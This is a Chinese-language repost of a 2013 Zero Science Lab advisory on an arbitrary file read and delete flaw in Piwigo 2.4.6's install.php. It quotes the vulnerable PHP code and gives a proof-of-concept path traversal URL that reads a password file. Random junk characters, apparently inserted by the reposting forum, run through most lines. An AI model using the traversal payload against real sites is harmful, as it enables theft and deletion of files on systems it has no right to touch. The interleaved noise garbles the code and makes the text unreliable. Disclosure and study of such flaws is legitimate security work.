Piwigo是用PHP编写的相册脚本。6 O# y+ X* N2 G- L# P" @
7 C( X" D) b8 i2 b* S( ?* f
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。" [$ r$ e, z ~/ s# O
====================================================================2 m3 t4 l- p/ `
/install.php:
3 D$ }) t. o" O- E) t. _-------------( x! d3 v8 Z4 c Y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
1 h9 k `" ~% Z0 o4 H114: {) C8 U1 V* O: ?/ h
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
/ H0 x8 K p" {$ n# O& }! y( e116: header('Cache-Control: no-cache, must-revalidate');
+ I9 n5 T6 ~& [6 o) h117: header('Pragma: no-cache');
9 y8 c2 R, F: q/ B V* g: K118: header('Content-Disposition: attachment; filename="database.inc.php"'); Y- T) C% M1 L) ]* G# j
119: header('Content-Transfer-Encoding: binary');
+ a5 ?! P- ^1 u- f: V120: header('Content-Length: '.filesize($filename));
. w% {/ o4 g; U; D121: echo file_get_contents($filename);
' _% k; l* z; g6 x8 q2 H! M! a122: unlink($filename);& N4 p2 Y) X! T% V
123: exit();
6 c( {+ x! ?( g0 M/ N1 l124: }, l3 n& X2 Z& D
====================================================================; K+ j$ ]& I0 b2 D! c& T# X: J
# L; d, K! Y, A# TTested on: Microsoft Windows 7 Ultimate SP1 (EN)* e. e5 U8 Q+ j) l
Apache 2.4.2 (Win32)( f. w O) I* L$ [2 z
PHP 5.4.4
# ], }" J0 X1 i: ?5 @! S6 }. Z MySQL 5.5.25a" `5 q/ a9 _0 V' k: @& o' b
, n$ q7 ` X8 G4 h' Y- N
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic& b: s# ~8 N3 m @' ^
@zeroscience8 r, s6 x2 Z0 R- ^: O
: z, o! g Z$ u" k2 o( A
Advisory ID: ZSL-2013-51270 W/ _0 A# ]9 ?' _. R5 @* U
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
8 W3 c7 H& g7 L9 V% _3 ~- X, HVendor Patch: http://piwigo.org/bugs/view.php?id=2843 J0 J6 u9 u- Z
3 h1 Q) ~ i* q( J% w
15.02.2013
# t0 E' K1 f' ^- q2 @% C
! C4 [# ~) t. A/ D# D--6 E5 |2 I6 t0 ?7 v
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% k9 w0 f% u6 q, h m
" o3 |% Z7 M9 ` |